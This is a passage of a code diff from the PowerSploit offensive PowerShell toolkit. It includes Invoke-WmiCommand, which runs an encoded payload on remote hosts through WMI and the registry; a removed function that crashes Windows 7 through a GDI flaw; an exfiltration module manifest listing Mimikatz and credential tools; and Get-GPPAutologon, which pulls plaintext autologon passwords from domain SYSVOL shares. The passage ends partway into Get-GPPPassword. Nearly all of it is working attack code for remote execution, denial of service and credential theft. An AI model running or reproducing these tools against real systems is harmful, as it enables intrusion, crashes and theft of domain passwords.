6: PacketPrivacy (The properties of the other authentication levels are used, and all the data is encrypted.)
|
||||
|
||||
.PARAMETER EnableAllPrivileges
|
||||
|
||||
Enables all the privileges of the current user before the command
|
||||
makes the WMI call.
|
||||
|
||||
.PARAMETER Authority
|
||||
|
||||
Specifies the authority to use to authenticate the WMI connection.
|
||||
You can specify standard NTLM or Kerberos authentication. To use
|
||||
NTLM, set the authority setting to ntlmdomain:<DomainName>, where
|
||||
<DomainName> identifies a valid NTLM domain name. To use Kerberos,
|
||||
specify kerberos:<DomainName\ServerName>. You cannot include the
|
||||
authority setting when you connect to the local computer.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
PS C:\>Invoke-WmiCommand -Payload { if ($True) { 'Do Evil' } } -Credential 'TargetDomain\TargetUser' -ComputerName '10.10.1.1'
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
PS C:\>$Hosts = Get-Content hostnames.txt
|
||||
PS C:\>$Payload = Get-Content payload.ps1
|
||||
PS C:\>$Credential = Get-Credential 'TargetDomain\TargetUser'
|
||||
PS C:\>$Hosts | Invoke-WmiCommand -Payload $Payload -Credential $Credential
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
PS C:\>$Payload = Get-Content payload.ps1
|
||||
PS C:\>Invoke-WmiCommand -Payload $Payload -Credential 'TargetDomain\TargetUser' -ComputerName '10.10.1.1', '10.10.1.2'
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
PS C:/>Invoke-WmiCommand -Payload { 1+3+2+1+1 } -RegistryHive HKEY_LOCAL_MACHINE -RegistryKeyPath 'SOFTWARE\testkey' -RegistryPayloadValueName 'testvalue' -RegistryResultValueName 'testresult' -ComputerName '10.10.1.1' -Credential 'TargetHost\Administrator' -Verbose
|
||||
|
||||
.INPUTS
|
||||
|
||||
System.String[]
|
||||
|
||||
Accepts one or more host names/IP addresses over the pipeline.
|
||||
|
||||
.OUTPUTS
|
||||
|
||||
System.Management.Automation.PSObject
|
||||
|
||||
Outputs a custom object consisting of the target computer name and
|
||||
the output of the command executed.
|
||||
|
||||
.NOTES
|
||||
|
||||
In order to receive the output from your payload, it must return
|
||||
actual objects. For example, Write-Host doesn't return objects
|
||||
rather, it writes directly to the console. If you're using
|
||||
Write-Host in your scripts though, you probably don't deserve to get
|
||||
the output of your payload back. :P
|
||||
#>
|
||||
|
||||
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')]
|
||||
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
||||
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingInvokeExpression', '')]
|
||||
[CmdletBinding()]
|
||||
Param (
|
||||
[Parameter( Mandatory = $True )]
|
||||
[ScriptBlock]
|
||||
$Payload,
|
||||
|
||||
[String]
|
||||
[ValidateSet( 'HKEY_LOCAL_MACHINE',
|
||||
'HKEY_CURRENT_USER',
|
||||
'HKEY_CLASSES_ROOT',
|
||||
'HKEY_USERS',
|
||||
'HKEY_CURRENT_CONFIG' )]
|
||||
$RegistryHive = 'HKEY_CURRENT_USER',
|
||||
|
||||
[String]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
$RegistryKeyPath = 'SOFTWARE\Microsoft\Cryptography\RNG',
|
||||
|
||||
[String]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
$RegistryPayloadValueName = 'Seed',
|
||||
|
||||
[String]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
$RegistryResultValueName = 'Value',
|
||||
|
||||
[Parameter( ValueFromPipeline = $True )]
|
||||
[Alias('Cn')]
|
||||
[String[]]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
$ComputerName = 'localhost',
|
||||
|
||||
[Management.Automation.PSCredential]
|
||||
[Management.Automation.CredentialAttribute()]
|
||||
$Credential = [Management.Automation.PSCredential]::Empty,
|
||||
|
||||
[Management.ImpersonationLevel]
|
||||
$Impersonation,
|
||||
|
||||
[System.Management.AuthenticationLevel]
|
||||
$Authentication,
|
||||
|
||||
[Switch]
|
||||
$EnableAllPrivileges,
|
||||
|
||||
[String]
|
||||
$Authority
|
||||
)
|
||||
|
||||
BEGIN {
|
||||
switch ($RegistryHive) {
|
||||
'HKEY_LOCAL_MACHINE' { $Hive = 2147483650 }
|
||||
'HKEY_CURRENT_USER' { $Hive = 2147483649 }
|
||||
'HKEY_CLASSES_ROOT' { $Hive = 2147483648 }
|
||||
'HKEY_USERS' { $Hive = 2147483651 }
|
||||
'HKEY_CURRENT_CONFIG' { $Hive = 2147483653 }
|
||||
}
|
||||
|
||||
$HKEY_LOCAL_MACHINE = 2147483650
|
||||
|
||||
$WmiMethodArgs = @{}
|
||||
|
||||
# If additional WMI cmdlet properties were provided, proxy them to Invoke-WmiMethod
|
||||
if ($PSBoundParameters['Credential']) { $WmiMethodArgs['Credential'] = $Credential }
|
||||
if ($PSBoundParameters['Impersonation']) { $WmiMethodArgs['Impersonation'] = $Impersonation }
|
||||
if ($PSBoundParameters['Authentication']) { $WmiMethodArgs['Authentication'] = $Authentication }
|
||||
if ($PSBoundParameters['EnableAllPrivileges']) { $WmiMethodArgs['EnableAllPrivileges'] = $EnableAllPrivileges }
|
||||
if ($PSBoundParameters['Authority']) { $WmiMethodArgs['Authority'] = $Authority }
|
||||
|
||||
$AccessPermissions = @{
|
||||
KEY_QUERY_VALUE = 1
|
||||
KEY_SET_VALUE = 2
|
||||
KEY_CREATE_SUB_KEY = 4
|
||||
KEY_CREATE = 32
|
||||
DELETE = 65536
|
||||
}
|
||||
|
||||
# These are all of the registry permissions we'll require
|
||||
$RequiredPermissions = $AccessPermissions['KEY_QUERY_VALUE'] -bor
|
||||
$AccessPermissions['KEY_SET_VALUE'] -bor
|
||||
$AccessPermissions['KEY_CREATE_SUB_KEY'] -bor
|
||||
$AccessPermissions['KEY_CREATE'] -bor
|
||||
$AccessPermissions['DELETE']
|
||||
}
|
||||
|
||||
PROCESS {
|
||||
foreach ($Computer in $ComputerName) {
|
||||
# Pass the individual computer name to Invoke-WmiMethod
|
||||
$WmiMethodArgs['ComputerName'] = $Computer
|
||||
|
||||
Write-Verbose "[$Computer] Creating the following registry key: $RegistryHive\$RegistryKeyPath"
|
||||
$Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'CreateKey' -ArgumentList $Hive, $RegistryKeyPath
|
||||
|
||||
if ($Result.ReturnValue -ne 0) {
|
||||
throw "[$Computer] Unable to create the following registry key: $RegistryHive\$RegistryKeyPath"
|
||||
}
|
||||
|
||||
Write-Verbose "[$Computer] Validating read/write/delete privileges for the following registry key: $RegistryHive\$RegistryKeyPath"
|
||||
$Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'CheckAccess' -ArgumentList $Hive, $RegistryKeyPath, $RequiredPermissions
|
||||
|
||||
if (-not $Result.bGranted) {
|
||||
throw "[$Computer] You do not have permission to perform all the registry operations necessary for Invoke-WmiCommand."
|
||||
}
|
||||
|
||||
$PSSettingsPath = 'SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell'
|
||||
$PSPathValueName = 'Path'
|
||||
|
||||
$Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'GetStringValue' -ArgumentList $HKEY_LOCAL_MACHINE, $PSSettingsPath, $PSPathValueName
|
||||
|
||||
if ($Result.ReturnValue -ne 0) {
|
||||
throw "[$Computer] Unable to obtain powershell.exe path from the following registry value: HKEY_LOCAL_MACHINE\$PSSettingsPath\$PSPathValueName"
|
||||
}
|
||||
|
||||
$PowerShellPath = $Result.sValue
|
||||
Write-Verbose "[$Computer] Full PowerShell path: $PowerShellPath"
|
||||
|
||||
$EncodedPayload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($Payload))
|
||||
|
||||
Write-Verbose "[$Computer] Storing the payload into the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName"
|
||||
$Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'SetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $EncodedPayload, $RegistryPayloadValueName
|
||||
|
||||
if ($Result.ReturnValue -ne 0) {
|
||||
throw "[$Computer] Unable to store the payload in the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName"
|
||||
}
|
||||
|
||||
# Prep the script runner payload from the remote system
|
||||
$PayloadRunnerArgs = @"
|
||||
`$Hive = '$Hive'
|
||||
`$RegistryKeyPath = '$RegistryKeyPath'
|
||||
`$RegistryPayloadValueName = '$RegistryPayloadValueName'
|
||||
`$RegistryResultValueName = '$RegistryResultValueName'
|
||||
`n
|
||||
"@
|
||||
|
||||
$RemotePayloadRunner = $PayloadRunnerArgs + {
|
||||
$WmiMethodArgs = @{
|
||||
Namespace = 'Root\default'
|
||||
Class = 'StdRegProv'
|
||||
}
|
||||
|
||||
$Result = Invoke-WmiMethod @WmiMethodArgs -Name 'GetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryPayloadValueName
|
||||
|
||||
if (($Result.ReturnValue -eq 0) -and ($Result.sValue)) {
|
||||
$Payload = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($Result.sValue))
|
||||
|
||||
$TempSerializedResultPath = [IO.Path]::GetTempFileName()
|
||||
|
||||
$PayloadResult = Invoke-Expression ($Payload)
|
||||
|
||||
Export-Clixml -InputObject $PayloadResult -Path $TempSerializedResultPath
|
||||
|
||||
$SerilizedPayloadText = [IO.File]::ReadAllText($TempSerializedResultPath)
|
||||
|
||||
$null = Invoke-WmiMethod @WmiMethodArgs -Name 'SetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $SerilizedPayloadText, $RegistryResultValueName
|
||||
|
||||
Remove-Item -Path $SerilizedPayloadResult -Force
|
||||
|
||||
$null = Invoke-WmiMethod @WmiMethodArgs -Name 'DeleteValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryPayloadValueName
|
||||
}
|
||||
}
|
||||
|
||||
$Base64Payload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($RemotePayloadRunner))
|
||||
|
||||
$Cmdline = "$PowerShellPath -WindowStyle Hidden -NoProfile -EncodedCommand $Base64Payload"
|
||||
|
||||
# Execute the payload runner on the remote system
|
||||
$Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\cimv2' -Class 'Win32_Process' -Name 'Create' -ArgumentList $Cmdline
|
||||
|
||||
Start-Sleep -Seconds 5
|
||||
|
||||
if ($Result.ReturnValue -ne 0) {
|
||||
throw "[$Computer] Unable to execute payload stored within the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName"
|
||||
}
|
||||
|
||||
Write-Verbose "[$Computer] Payload successfully executed from: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName"
|
||||
|
||||
$Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'GetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryResultValueName
|
||||
|
||||
if ($Result.ReturnValue -ne 0) {
|
||||
throw "[$Computer] Unable retrieve the payload results from the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryResultValueName"
|
||||
}
|
||||
|
||||
Write-Verbose "[$Computer] Payload results successfully retrieved from: $RegistryHive\$RegistryKeyPath\$RegistryResultValueName"
|
||||
|
||||
$SerilizedPayloadResult = $Result.sValue
|
||||
|
||||
$TempSerializedResultPath = [IO.Path]::GetTempFileName()
|
||||
|
||||
Out-File -InputObject $SerilizedPayloadResult -FilePath $TempSerializedResultPath
|
||||
$PayloadResult = Import-Clixml -Path $TempSerializedResultPath
|
||||
|
||||
Remove-Item -Path $TempSerializedResultPath
|
||||
|
||||
$FinalResult = New-Object PSObject -Property @{
|
||||
PSComputerName = $Computer
|
||||
PayloadOutput = $PayloadResult
|
||||
}
|
||||
|
||||
Write-Verbose "[$Computer] Removing the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryResultValueName"
|
||||
$null = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'DeleteValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryResultValueName
|
||||
|
||||
Write-Verbose "[$Computer] Removing the following registry key: $RegistryHive\$RegistryKeyPath"
|
||||
$null = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'DeleteKey' -ArgumentList $Hive, $RegistryKeyPath
|
||||
|
||||
return $FinalResult
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,78 +0,0 @@
|
||||
function Watch-BlueScreen
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Cause a blue screen to occur (Windows 7 and below).
|
||||
|
||||
PowerSploit Function: Watch-BlueScreen
|
||||
Author: Matthew Graeber (@mattifestation)
|
||||
Original Research: Tavis Ormandy and Nikita Tarakanov
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.NOTES
|
||||
|
||||
Tavis Ormandy documented this technique on 2/3/2013 and Nikita Tarakanov
|
||||
tweeted this technique on 5/13/2013.
|
||||
|
||||
.LINK
|
||||
|
||||
https://gist.github.com/taviso/4658638
|
||||
http://blog.cmpxchg8b.com/2013/02/the-other-integer-overflow.html
|
||||
https://twitter.com/NTarakanov/status/334031968465453057
|
||||
#>
|
||||
[CmdletBinding( ConfirmImpact = 'High')] Param ()
|
||||
|
||||
try { $Gdi32 = [Gdi32] } catch [Management.Automation.RuntimeException]
|
||||
{
|
||||
$DynAssembly = New-Object System.Reflection.AssemblyName('BSOD')
|
||||
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, 'Run')
|
||||
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('BSOD', $False)
|
||||
$TypeBuilder = $ModuleBuilder.DefineType('Gdi32', 'Public, Class')
|
||||
|
||||
$DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
|
||||
$SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')
|
||||
$SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder( $DllImportConstructor, @('ntdll.dll'),
|
||||
[Reflection.FieldInfo[]]@($SetLastError), @($true))
|
||||
|
||||
$TypeBuilder.DefinePInvokeMethod( 'CreateCompatibleDC',
|
||||
'Gdi32.dll',
|
||||
'Public, Static',
|
||||
'Standard',
|
||||
[IntPtr],
|
||||
@([IntPtr]),
|
||||
'Winapi',
|
||||
'Auto' ).SetCustomAttribute($SetLastErrorCustomAttribute)
|
||||
|
||||
$TypeBuilder.DefinePInvokeMethod( 'SetLayout',
|
||||
'Gdi32.dll',
|
||||
'Public, Static',
|
||||
'Standard',
|
||||
[UInt32],
|
||||
@([IntPtr], [UInt32]),
|
||||
'Winapi',
|
||||
'Auto' ) | Out-Null
|
||||
|
||||
$TypeBuilder.DefinePInvokeMethod( 'ScaleWindowExtEx',
|
||||
'Gdi32.dll',
|
||||
'Public, Static',
|
||||
'Standard',
|
||||
[Bool],
|
||||
@([IntPtr], [Int32], [Int32], [Int32], [Int32], [IntPtr]),
|
||||
'Winapi',
|
||||
'Auto' ) | Out-Null
|
||||
|
||||
$Gdi32 = $TypeBuilder.CreateType()
|
||||
}
|
||||
|
||||
$LAYOUT_RTL = 1
|
||||
|
||||
if ($psCmdlet.ShouldContinue( 'Do you want to continue?', 'You may want to save your work before continuing.' ))
|
||||
{
|
||||
$DC = $Gdi32::CreateCompatibleDC([IntPtr]::Zero)
|
||||
$Gdi32::SetLayout($DC, $LAYOUT_RTL) | Out-Null
|
||||
$Gdi32::ScaleWindowExtEx($DC, [Int32]::MinValue, -1, 1, 1, [IntPtr]::Zero) | Out-Null
|
||||
}
|
||||
}
|
||||
@@ -1,10 +1,10 @@
|
||||
@{
|
||||
@{
|
||||
|
||||
# Script module or binary module file associated with this manifest.
|
||||
ModuleToProcess = 'Exfiltration.psm1'
|
||||
|
||||
# Version number of this module.
|
||||
ModuleVersion = '1.0.0.0'
|
||||
ModuleVersion = '3.0.0.0'
|
||||
|
||||
# ID used to uniquely identify this module
|
||||
GUID = '75dafa99-1402-4e29-b5d4-6c87da2b323a'
|
||||
@@ -12,9 +12,6 @@ GUID = '75dafa99-1402-4e29-b5d4-6c87da2b323a'
|
||||
# Author of this module
|
||||
Author = 'Matthew Graeber'
|
||||
|
||||
# Company or vendor of this module
|
||||
CompanyName = ''
|
||||
|
||||
# Copyright statement for this module
|
||||
Copyright = 'BSD 3-Clause'
|
||||
|
||||
@@ -24,65 +21,17 @@ Description = 'PowerSploit Exfiltration Module'
|
||||
# Minimum version of the Windows PowerShell engine required by this module
|
||||
PowerShellVersion = '2.0'
|
||||
|
||||
# Name of the Windows PowerShell host required by this module
|
||||
# PowerShellHostName = ''
|
||||
|
||||
# Minimum version of the Windows PowerShell host required by this module
|
||||
# PowerShellHostVersion = ''
|
||||
|
||||
# Minimum version of the .NET Framework required by this module
|
||||
# DotNetFrameworkVersion = ''
|
||||
|
||||
# Minimum version of the common language runtime (CLR) required by this module
|
||||
# CLRVersion = ''
|
||||
|
||||
# Processor architecture (None, X86, Amd64) required by this module
|
||||
# ProcessorArchitecture = ''
|
||||
|
||||
# Modules that must be imported into the global environment prior to importing this module
|
||||
# RequiredModules = @()
|
||||
|
||||
# Assemblies that must be loaded prior to importing this module
|
||||
# RequiredAssemblies = @()
|
||||
|
||||
# Script files (.ps1) that are run in the caller's environment prior to importing this module.
|
||||
# ScriptsToProcess = ''
|
||||
|
||||
# Type files (.ps1xml) to be loaded when importing this module
|
||||
# TypesToProcess = @()
|
||||
|
||||
# Format files (.ps1xml) to be loaded when importing this module
|
||||
# FormatsToProcess = @()
|
||||
|
||||
# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess
|
||||
# NestedModules = @()
|
||||
FormatsToProcess = 'Get-VaultCredential.ps1xml'
|
||||
|
||||
# Functions to export from this module
|
||||
FunctionsToExport = '*'
|
||||
|
||||
# Cmdlets to export from this module
|
||||
CmdletsToExport = '*'
|
||||
|
||||
# Variables to export from this module
|
||||
VariablesToExport = ''
|
||||
|
||||
# Aliases to export from this module
|
||||
AliasesToExport = ''
|
||||
|
||||
# List of all modules packaged with this module.
|
||||
ModuleList = @(@{ModuleName = 'Exfiltration'; ModuleVersion = '1.0.0.0'; GUID = '75dafa99-1402-4e29-b5d4-6c87da2b323a'})
|
||||
|
||||
# List of all files packaged with this module
|
||||
FileList = 'Exfiltration.psm1', 'Exfiltration.psd1', 'Get-TimedScreenshot.ps1', 'Out-Minidump.ps1',
|
||||
'Get-Keystrokes.ps1', 'Get-GPPPassword.ps1', 'Usage.md'
|
||||
'Get-Keystrokes.ps1', 'Get-GPPPassword.ps1', 'Usage.md', 'Invoke-Mimikatz.ps1',
|
||||
'Invoke-NinjaCopy.ps1', 'Invoke-TokenManipulation.ps1', 'Invoke-CredentialInjection.ps1',
|
||||
'VolumeShadowCopyTools.ps1', 'Get-VaultCredential.ps1', 'Get-VaultCredential.ps1xml',
|
||||
'Get-MicrophoneAudio.ps1', 'Get-GPPAutologon.ps1'
|
||||
|
||||
# Private data to pass to the module specified in RootModule/ModuleToProcess
|
||||
# PrivateData = ''
|
||||
|
||||
# HelpInfo URI of this module
|
||||
# HelpInfoURI = ''
|
||||
|
||||
# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
|
||||
# DefaultCommandPrefix = ''
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1 +1 @@
|
||||
Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}
|
||||
Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}
|
||||
|
||||
@@ -0,0 +1,139 @@
|
||||
function Get-GPPAutologon
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Retrieves password from Autologon entries that are pushed through Group Policy Registry Preferences.
|
||||
|
||||
PowerSploit Function: Get-GPPAutologon
|
||||
Author: Oddvar Moe (@oddvarmoe)
|
||||
Based on Get-GPPPassword by Chris Campbell (@obscuresec) - Thanks for your awesome work!
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Get-GPPAutologn searches the domain controller for registry.xml to find autologon information and returns the username and password.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
PS C:\> Get-GPPAutolgon
|
||||
|
||||
UserNames File Passwords
|
||||
--------- ---- ---------
|
||||
{administrator} \\ADATUM.COM\SYSVOL\Adatum.com\Policies\{... {PasswordsAreLam3}
|
||||
{NormalUser} \\ADATUM.COM\SYSVOL\Adatum.com\Policies\{... {ThisIsAsupaPassword}
|
||||
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
PS C:\> Get-GPPAutologon | ForEach-Object {$_.passwords} | Sort-Object -Uniq
|
||||
|
||||
password
|
||||
password12
|
||||
password123
|
||||
password1234
|
||||
password1234$
|
||||
read123
|
||||
Recycling*3ftw!
|
||||
|
||||
.LINK
|
||||
|
||||
https://support.microsoft.com/nb-no/kb/324737
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
Param ()
|
||||
|
||||
#Some XML issues between versions
|
||||
Set-StrictMode -Version 2
|
||||
|
||||
#define helper function to parse fields from xml files
|
||||
function Get-GPPInnerFields
|
||||
{
|
||||
[CmdletBinding()]
|
||||
Param (
|
||||
$File
|
||||
)
|
||||
|
||||
try
|
||||
{
|
||||
$Filename = Split-Path $File -Leaf
|
||||
[xml] $Xml = Get-Content ($File)
|
||||
|
||||
#declare empty arrays
|
||||
$Password = @()
|
||||
$UserName = @()
|
||||
|
||||
#check for password and username field
|
||||
if (($Xml.innerxml -like "*DefaultPassword*") -and ($Xml.innerxml -like "*DefaultUserName*"))
|
||||
{
|
||||
$props = $xml.GetElementsByTagName("Properties")
|
||||
foreach($prop in $props)
|
||||
{
|
||||
switch ($prop.name)
|
||||
{
|
||||
'DefaultPassword'
|
||||
{
|
||||
$Password += , $prop | Select-Object -ExpandProperty Value
|
||||
}
|
||||
|
||||
'DefaultUsername'
|
||||
{
|
||||
$Username += , $prop | Select-Object -ExpandProperty Value
|
||||
}
|
||||
}
|
||||
|
||||
Write-Verbose "Potential password in $File"
|
||||
}
|
||||
|
||||
#put [BLANK] in variables
|
||||
if (!($Password))
|
||||
{
|
||||
$Password = '[BLANK]'
|
||||
}
|
||||
|
||||
if (!($UserName))
|
||||
{
|
||||
$UserName = '[BLANK]'
|
||||
}
|
||||
|
||||
#Create custom object to output results
|
||||
$ObjectProperties = @{'Passwords' = $Password;
|
||||
'UserNames' = $UserName;
|
||||
'File' = $File}
|
||||
|
||||
$ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
|
||||
Write-Verbose "The password is between {} and may be more than one value."
|
||||
if ($ResultsObject)
|
||||
{
|
||||
Return $ResultsObject
|
||||
}
|
||||
}
|
||||
}
|
||||
catch {Write-Error $Error[0]}
|
||||
}
|
||||
|
||||
try {
|
||||
#ensure that machine is domain joined and script is running as a domain account
|
||||
if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) {
|
||||
throw 'Machine is not a domain member or User is not a member of the domain.'
|
||||
}
|
||||
|
||||
#discover potential registry.xml containing autologon passwords
|
||||
Write-Verbose 'Searching the DC. This could take a while.'
|
||||
$XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Registry.xml'
|
||||
|
||||
if ( -not $XMlFiles ) {throw 'No preference files found.'}
|
||||
|
||||
Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."
|
||||
|
||||
foreach ($File in $XMLFiles) {
|
||||
$Result = (Get-GppInnerFields $File.Fullname)
|
||||
Write-Output $Result
|
||||
}
|
||||
}
|
||||
|
||||
catch {Write-Error $Error[0]}
|
||||
}
|
||||
@@ -1,137 +1,351 @@
|
||||
function Get-GPPPassword {
|
||||
function Get-GPPPassword {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
|
||||
Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
|
||||
|
||||
PowerSploit Function: Get-GPPPassword
|
||||
Author: Chris Campbell (@obscuresec)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
PowerSploit Function: Get-GPPPassword
|
||||
Author: Chris Campbell (@obscuresec)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Get-GPPPassword searches the domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.
|
||||
Get-GPPPassword searches a domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.
|
||||
|
||||
.PARAMETER Server
|
||||
|
||||
Specify the domain controller to search for.
|
||||
Default's to the users current domain
|
||||
|
||||
.PARAMETER SearchForest
|
||||
|
||||
Map all reaschable trusts and search all reachable SYSVOLs.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Get-GPPPassword
|
||||
Get-GPPPassword
|
||||
|
||||
NewName : [BLANK]
|
||||
Changed : {2014-02-21 05:28:53}
|
||||
Passwords : {password12}
|
||||
UserNames : {test1}
|
||||
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\DataSources\DataSources.xml
|
||||
|
||||
NewName : {mspresenters}
|
||||
Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
|
||||
Passwords : {Recycling*3ftw!, password123, password1234}
|
||||
UserNames : {Administrator (built-in), DummyAccount, dummy2}
|
||||
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml
|
||||
|
||||
NewName : [BLANK]
|
||||
Changed : {2014-02-21 05:29:53, 2014-02-21 05:29:52}
|
||||
Passwords : {password, password1234$}
|
||||
UserNames : {administrator, admin}
|
||||
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml
|
||||
|
||||
NewName : [BLANK]
|
||||
Changed : {2014-02-21 05:30:14, 2014-02-21 05:30:36}
|
||||
Passwords : {password, read123}
|
||||
UserNames : {DEMO\Administrator, admin}
|
||||
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Get-GPPPassword -Server EXAMPLE.COM
|
||||
|
||||
NewName : [BLANK]
|
||||
Changed : {2014-02-21 05:28:53}
|
||||
Passwords : {password12}
|
||||
UserNames : {test1}
|
||||
File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB982DA}\MACHINE\Preferences\DataSources\DataSources.xml
|
||||
|
||||
NewName : {mspresenters}
|
||||
Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
|
||||
Passwords : {Recycling*3ftw!, password123, password1234}
|
||||
UserNames : {Administrator (built-in), DummyAccount, dummy2}
|
||||
File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB9AB12}\MACHINE\Preferences\Groups\Groups.xml
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq
|
||||
|
||||
password
|
||||
password12
|
||||
password123
|
||||
password1234
|
||||
password1234$
|
||||
read123
|
||||
Recycling*3ftw!
|
||||
|
||||
.LINK
|
||||
|
||||
http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
|
||||
https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
|
||||
http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
|
||||
http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
|
||||
|
||||
http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
|
||||
https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
|
||||
http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
|
||||
http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
|
||||
#>
|
||||
|
||||
|
||||
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')]
|
||||
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
||||
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')]
|
||||
[CmdletBinding()]
|
||||
Param ()
|
||||
|
||||
#define helper function that decodes and decrypts password
|
||||
Param (
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[String]
|
||||
$Server = $Env:USERDNSDOMAIN,
|
||||
|
||||
[Switch]
|
||||
$SearchForest
|
||||
)
|
||||
|
||||
# define helper function that decodes and decrypts password
|
||||
